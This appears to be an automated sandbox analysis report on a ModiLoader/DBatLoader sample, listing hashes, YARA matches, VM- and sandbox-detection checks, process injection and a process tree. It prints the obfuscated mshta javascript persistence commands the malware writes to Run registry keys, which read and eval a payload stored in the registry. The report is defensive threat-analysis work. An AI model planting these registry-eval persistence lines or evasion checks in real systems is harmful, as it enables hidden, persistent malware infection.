Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
18-05-2024 10:04
Static task
static1
Behavioral task
behavioral1
Sample
543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe
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Size
466KB
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MD5
543417b64527d0fa03c34e00116beddb
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SHA1
ed18e882bdfb38e9dd91c7b71aa75d1d692c61e9
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SHA256
46b09966af379feccd80fc797afd81d43ecaed401138429afc3a0b764b2109d6
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SHA512
ed85c2bc8d409fbf065598ba9a05b999ef43d51515c9b8785cba4b7a8f2bd7d1bf43073d7e8eee745475b30a857c84a1a1a38c70c490d46ac8a4dad3c44fd5c3
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SSDEEP
6144:WE2eW9agXVbOvVuXz9zNVZjOyJOeDywccVHf2+vieBvtmmv8nHHz/+OVzzfo/D7t:WE2eW9pIezPVZZDDjc+vFBvYrHtg/va0
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 42 IoCs
Processes:
resource yara_rule behavioral1/memory/1640-4-0x0000000000400000-0x0000000000478000-memory.dmp modiloader_stage2 behavioral1/memory/1640-7-0x0000000000050000-0x000000000011A000-memory.dmp modiloader_stage2 behavioral1/memory/1640-10-0x0000000000050000-0x000000000011A000-memory.dmp modiloader_stage2 behavioral1/memory/1640-9-0x0000000000050000-0x000000000011A000-memory.dmp modiloader_stage2 behavioral1/memory/1640-8-0x0000000000050000-0x000000000011A000-memory.dmp modiloader_stage2 behavioral1/memory/1640-6-0x0000000000050000-0x000000000011A000-memory.dmp modiloader_stage2 behavioral1/memory/1640-18-0x0000000000400000-0x0000000000478000-memory.dmp modiloader_stage2 behavioral1/memory/1640-11-0x0000000000050000-0x000000000011A000-memory.dmp modiloader_stage2 behavioral1/memory/2492-21-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2492-25-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2492-24-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2492-23-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2492-22-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2492-26-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-36-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-40-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-39-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-37-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-38-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-41-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-43-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-42-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-50-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-49-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-48-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-47-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-46-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-45-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-44-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/856-54-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/856-59-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/856-58-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/856-57-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/856-56-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/856-55-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-60-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/2540-61-0x0000000000190000-0x000000000025A000-memory.dmp modiloader_stage2 behavioral1/memory/1592-66-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/1592-69-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/1592-68-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/1592-67-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 behavioral1/memory/1592-65-0x0000000000090000-0x000000000015A000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:dhrJvMf83=\"w\";L9k=new%20ActiveXObject(\"WScript.Shell\");y9lTz8mnqf=\"C\";Eew9e=L9k.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\68892ddfee\\\\ad52d514\");UNz4iO9Z=\"mjCzzi\";eval(Eew9e);pxOjvU3T=\"O35XIs\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2540 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Ghme8EZ2Sa=\"3KbS0w\";fh7=new%20ActiveXObject(\"WScript.Shell\");cKSjxUoV0=\"nycTk\";jJ0UQ=fh7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\68892ddfee\\\\ad52d514\");YrC7jzzYF=\"07NJ6\";eval(jJ0UQ);g7RBzBw=\"28RMQIY4\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:RqmMob5H3=\"1\";g7f2=new%20ActiveXObject(\"WScript.Shell\");mLmqgm9dK=\"8baPoGsye\";s0QoV9=g7f2.RegRead(\"HKCU\\\\software\\\\68892ddfee\\\\ad52d514\");iUWN3V0vm=\"Hj2z15o0\";eval(s0QoV9);SfeM0NtA0=\"2\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
543417b64527d0fa03c34e00116beddb_JaffaCakes118.exeregsvr32.exepid process 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
543417b64527d0fa03c34e00116beddb_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe 2492 regsvr32.exe 2492 regsvr32.exe 2492 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
543417b64527d0fa03c34e00116beddb_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 1640 wrote to memory of 1880 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe splwow64.exe PID 1640 wrote to memory of 1880 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe splwow64.exe PID 1640 wrote to memory of 1880 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe splwow64.exe PID 1640 wrote to memory of 1880 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe splwow64.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 1640 wrote to memory of 2492 1640 543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2492 wrote to memory of 2540 2492 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 856 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe PID 2540 wrote to memory of 1592 2540 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\543417b64527d0fa03c34e00116beddb_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1880
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2492 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:856
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1592
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